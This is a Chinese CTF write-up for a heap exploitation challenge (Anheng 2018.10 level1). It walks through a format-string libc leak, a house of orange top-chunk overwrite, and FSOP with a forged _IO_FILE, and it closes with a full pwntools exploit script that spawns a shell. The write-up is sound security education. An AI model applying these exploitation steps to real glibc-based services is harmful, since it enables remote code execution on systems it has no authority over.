安恒2018.10 level1思路讲解
程序功能分析
主程序是一个菜单,只有两个选项。一个是create,另一个是show。没有关于free的函数,所以可能会用到house of orange的技术来创造一个unsorted bin。
int play()
{int choice; // eaxint result; // eaxhelp();choice = get_choice();if ( choice == 2 )return show();if ( choice == 3 )exit(0);if ( choice == 1 )result = create();elseresult = write(1, "Sorry,Incorrect choice!\n", 0x18uLL);return result;
}
create函数能malloc一个不超过0x1000的堆块,并在bss端上记录这个指针。然后用gets向这个堆块中读入内容。
__int64 create()
{size_t size; // [rsp+Ch] [rbp-4h]printf("size: ");LODWORD(size) = read_num();if ( (unsigned int)size > 0x1000 ){puts("too long");exit(1);}buffer = malloc((unsigned int)size);printf("string: ");return gets(buffer); // 不限制长度,接收到\n为止,再把\n转换为\x00
}
show函数中有格式化字符串漏洞。buffer就是我们申请堆块的指针,其中的内容我们能控制。但是由于是用gets读入的,遇到\n(0xa0)就会截断,所以不能用来做任意地址写。但是我们可以较容易地泄漏出传参寄存器和栈上的数据。
int show()
{printf("result: ");return printf(buffer); // 格式化字符串
}
利用思路
由于开启了PIE和ASLR,下文中的地址可能不统一,但是后三位是准确的。
泄漏libc
一个典型的house of orange。首先我们要泄漏出libc的基址。这里就用show()中的格式化字符串漏洞来泄漏出libc。
在call printf的地方下断点,可以看到rdx寄存器的值在libc上,和libc的基址呈一个固定的offset。众所周知,64位程序调用函数传参数的过程中,函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中,之后的参数才会保存在栈中。
RDX 0x7f3cdb1b8780 (_IO_stdfile_1_lock) ◂— 0x0
所以这个我们可以用
printf("%2$p")
来泄漏出rdx寄存器中的值。回顾一下%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。"2$"来规定偏移。
无中生有unsorted bin
由于这个程序中没有free函数,所以我们用house of orange的技术来获得一个unsorted bin。我们通过溢出来修改top chunk的size。并申请一个大于修改过的top chunk size大小的堆块,这样top chunk就会进入unsorted bin。但是需要满足一些要求:
- 伪造的 size 必须要对齐到内存页
- size 要大于 MINSIZE(0x10)
- size 要小于之后申请的 chunk size + MINSIZE(0x10)
- size 的 prev inuse 位必须为 1
之后原有的 top chunk 就会执行_int_free从而顺利进入 unsorted bin 中。
0x563efe6ea000: 0x0000000000000000 0x0000000000000021
0x563efe6ea010: 0x0000000070243225 0x0000000000000000
0x563efe6ea020: 0x0000000000000000 0x0000000000000021
0x563efe6ea030: 0x0000000000000000 0x0000000000000000
0x563efe6ea040: 0x0000000000000000 0x0000000000020fc1
0x563efe6ea020是我们新申请用来溢出的chunk。为了满足top chunk的内存页0x1000对齐的要求,我们可以把top chunk size的修改为0xfc1。
完成house of orange之后,可以看到unsorted bin中多了
unsortedbin
all: 0x558e4d5dc040 —▸ 0x7fee8d8bfb78 (main_arena+88) ◂— 0x558e4d5dc040
FSOP
接下来就是利用_IO_FILE attack来get shell,这块部分我先给出代码,再根据代码来进行讲解。
#FSOPpayload = "e"*0x100fake_file = "\x00"*8 + p64(0x61) # to small bin(0x60) _IO_list_all->_IO_FILE->_chain 指向 small_bin(0x60)fake_file += p64(0x0) + p64(_IO_list_all_addr-0x10) #unsorted bin attack make _IO_list_all = &main_arena + 88fake_file += p64(0x1) + p64(0x2) #_IO_write_base < _IO_write_ptrfake_file += p64(0x0) + p64(bin_sh_addr) #_IO_buf_base = bin_sh_addrfake_file = fake_file.ljust(0xd8, "\x00") #mode<=0fake_file += p64(_IO_str_jump_addr-0x8) #vtable=_IO_str_jump-0x8 make 调用io_overflow变成调用str_finishfake_file += p64(0x0)fake_file += p64(system_addr)payload += fake_filecreate(0x100, payload)
这里create了一个0x100的堆块,并进行了溢出。
这里我们回顾一下malloc大循环中(遍历unsorted bin)的流程。
- 从unsorted bin的bk指针向后遍历
- 拿到victim,判断victim大小,不能过大,也不过过小,否则触发malloc_printerr
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)|| __builtin_expect (chunksize_nomask (victim)> av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",chunk2mem (victim), av);
- 如果unsorted bin中只有一个chunk并且last_remainder也指向这个chunk,并且申请的size+0x10又小于这个chunk的大小。那就进行对这个chunk分割,更新last remainder,返回申请到的chunk 。结束。
if (in_smallbin_range (nb) &&bck == unsorted_chunks (av) &&victim == av->last_remainder &&(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
- 把victim从unsorted bin中摘下
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
- 判断是否excat fit,如果是,就返回victim。结束。
- 把victim按照size大小放入对应的bins中
执行create(0x100, payload)之后我们能看到unsorted bin中的chunk结构已经被改变了。bins中显示,这个时候unsorted bin链表结构已经被破坏。
unsortedbin
all [corrupted]
FD: 0x55e8b28ee150 ◂— 0x0
BK: 0x55e8b28ee150 —▸ 0x7f1b1fbc0510 ◂— 0x0
知道了这个流程之后,我们看看接下来如果在申请一个chunk会怎么样(size不能是0x50)。假设我们申请一个0x20的chunk。
执行到步骤3进行判断,由于此时bck,已经被我们修改成_IO_list_all-0x10,所以bck == unsorted_chunks (av)不能通过。
进入4,把victim从victim从unsorted bin中摘下。注意
bck->fd = unsorted_chunks (av);
执行完之后_IO_list_all就指向了unsorted bin,也就是main_arena+88
步骤5跳过。
进入步骤6,由于我们把victim的size覆盖成了0x61,victim就会落入small bin(0x60)中。这里为什么要把victim放入0x60的bins中呢?这是因为_IO_FILE的_chain域的偏移是0x78,small bins的bk地址距离unsorted bin的偏移也是0x78。
再进入步骤1, victim = unsorted_chunks (av)->bk = bck现在是_IO_list_all-0x10的地址。
0x7f1b1fbc0510: 0x0000000000000000 0x0000000000000000
0x7f1b1fbc0520 <_IO_list_all>: 0x00007f1b1fbc0540 0x0000000000000000
进入步骤2,因为size=0,没有通过检验,执行printerr,如下图所示,触发abort,接着调用_IO_flush_all_lockp,从_IO_list_all指针开始,对每个_IO_FILE_plus结构调用flush函数,其中主要根据vtable来调用OVERFLOW。
因为之前的巧妙布置,_chain域的跳转就来到了我们自己布置的_IO_FILE_plus中来了。
fake_file = "\x00"*8 + p64(0x61) # to small bin(0x60) _IO_list_all->_IO_FILE->_chain 指向 small_bin(0x60)fake_file += p64(0x0) + p64(_IO_list_all_addr-0x10) #unsorted bin attack make _IO_list_all = &main_arena + 88fake_file += p64(0x1) + p64(0x2) #_IO_write_base < _IO_write_ptrfake_file += p64(0x0) + p64(bin_sh_addr) #_IO_buf_base = bin_sh_addrfake_file = fake_file.ljust(0xd8, "\x00") #mode<=0fake_file += p64(_IO_str_jump_addr-0x8) #vtable=_IO_str_jump-0x8 make 调用io_overflow变成调用str_finishfake_file += p64(0x0)fake_file += p64(system_addr)
这中间具体的为什么要这么步骤由于篇幅的原因就不讲了。可以参考下面两个链接,讲的很详细。
https://www.anquanke.com/post/id/168802#h3-6
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/exploit-in-libc2.24-zh/
这里就说一下几个要注意的地方。
- _IO_str_jump不能直接libc.symbols[“name”]来查询,要通过ida来找。
- _IO_FILE attack 不是每次执行都能成功,一定要libc基址的低32位大于0x80000000才能执行成功。
完整exp
#coding=utf-8
from pwn import *io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]def create(size, content):io.recvuntil("3:exit\n")io.sendline("1")io.recvuntil("size: ") # 限制 size<=0x1000io.sendline(str(size))io.recvuntil("string: ")io.sendline(content)def show():io.recvuntil("3:exit\n")io.sendline("2")io.recvuntil("result: ")#leak libc by format string attack
create(0x10, "%2$p")
show()
libc_addr = int(io.recvuntil("\n")[:-1], 16) - 0x3c6780
print("libc address:" + hex(libc_addr))system_addr = libc_addr + libc.symbols["system"]
bin_sh_addr = libc_addr + libc.search("/bin/sh").next()
_IO_list_all_addr = libc_addr + libc.symbols["_IO_list_all"]
_IO_str_jump_addr = libc_addr + 0x3C37A0#house of orange
payload = "a"*0x18 + p64(0xfc1)
create(0x10, payload)
create(0x1000, "a")#FSOP
payload = "e"*0x100
fake_file = "\x00"*8 + p64(0x61) # to small bin(0x60) _IO_list_all->_IO_FILE->_chain 指向 small_bin(0x60)
fake_file += p64(0x0) + p64(_IO_list_all_addr-0x10) #unsorted bin attack make _IO_list_all = &main_arena + 88
fake_file += p64(0x1) + p64(0x2) #_IO_write_base < _IO_write_ptr
fake_file += p64(0x0) + p64(bin_sh_addr) #_IO_buf_base = bin_sh_addr
fake_file = fake_file.ljust(0xd8, "\x00") #mode<=0
fake_file += p64(_IO_str_jump_addr-0x8) #vtable=_IO_str_jump-0x8 make 调用io_overflow变成调用str_finish
fake_file += p64(0x0)
fake_file += p64(system_addr)
payload += fake_filecreate(0x100, payload)gdb.attach(io)io.recvuntil("3:exit\n")
io.sendline("1")
io.recvuntil("size: ")
io.sendline("32")
#gdb.attach(io)io.interactive()
安恒2018.10 level1思路讲解相关推荐
- 训练日志 2018.10.7
国庆7天假期,一直在学校没有回去,前几天在补 Java 交作业,后几天在看状压DP和树形DP,这几天宿舍里只有自己,在学习之余也能静下心来好好想想自己究竟想要什么. 关于 ACM,其实在去年省赛后,有 ...
- 10天精读掌握:计算机组成与设计(COAD:Patterson and Hennessy) (第4天 2018/10.29)
10天精读掌握:计算机组成与设计COAD:Patterson and Hennessy 第4天 2018/10.29 1. 第4次周计划概览 2. 今日学习成果 3. 今日时间表 4. 今日反思 5. ...
- 10天精读掌握:计算机组成与设计(COAD:Patterson and Hennessy) (第3天 2018/10.26)
10天精读掌握:计算机组成与设计COAD:Patterson and Hennessy 第3天 2018/10.26 1. 第4次周计划概览 2. 今日学习成果 今日成果简述 今日笔记 3. 今日时间 ...
- 【比赛报告】2018.10.15校赛[2015-9-13 NOIP模拟赛 by hzwer] NOIP练习赛卷十四
比赛时间:2018.10.15 选手:lrllrl 用时:2h 得分:100+10+90=200 最初想法是一个背包问题.首先背包问题的模型肯定是不行的,但是我们可以列出状态转移方程后发现,每个状态决 ...
- No.044<软考>《(高项)备考大全》【第27章】运筹学计算(典型考题思路讲解)
[第27章]运筹学计算(典型考题思路讲解) 1 章节概述 1.1 运筹学计算涉及到的题型 2 最优的函数值 3 线性规划 题1 题2 题3 4 动态规划 投资收益最大的问题 5 最小生成树 题1 题2 ...
- PEInfo编程思路讲解01 - 工具篇01|解密系列
PEInfo编程思路讲解01 - 工具篇01 让编程改变世界 Change the world by program 软件安全是信息安全领域的重要内容,本系列视频教程将涉及到软件相关的加密.解密. ...
- 2018.10.17考试
2018.10.17考试总结 1.咒语 (curse.pas/c/cpp) [题目描述] 亮亮梦到自己来到了魔法城堡, 但一扇巨大的石门阻拦了他通向城堡内的路.正当他沮丧之际,突然发现门上有一处机关, ...
- PEInfo编程思路讲解03 - 工具篇03|解密系列
PEInfo编程思路讲解03 - 工具篇03 让编程改变世界 Change the world by program 软件安全是信息安全领域的重要内容,本系列视频教程将涉及到软件相关的加密.解密. ...
- 20172319 2018.10.12《Java程序设计教程》第6周课堂实践(补写博客)
20172319 2018.10.12 <Java程序设计教程>第6周课堂测验 课程:<程序设计与数据结构> 班级:1723 学生:唐才铭 学号:20172319 指导老师:王 ...
最新文章
- Selenium如何通过location和size定位元素坐标?
- jenkins打完包在哪里
- 洛谷 [P1352] 没有上司的舞会
- wetech-cms内容管理系统源码
- java程序 计算器_简单计算器(java)
- Alexnet论文解读及代码实现
- Redis分布式锁及分区
- Binary XML file line #27: Error inflating class Listview
- python编程语言-Python有望超越Java排第二?风变编程解析编程语言新趋势
- Flash Player10一个非常牛的功能SaveBitmap
- idea 2018 破解教程
- C语言程序设计 课程设计报告
- gitee、github使用教程
- 一份新的lilypond谱子,能设置页边距和设置换页符了
- 终于知道什么叫BSS段
- 流体渐变_最新的10种Fluid Colors流体渐变壁纸制作方法
- 2008-09赛季NBA直播表(cctv5 广东体育)
- 【JVM系列3】方法重载和方法重写原理分析,看完这篇终于彻底搞懂了
- 「JLOI2015」战争调度 解题报告
- 求解一元三次方程的一个实数解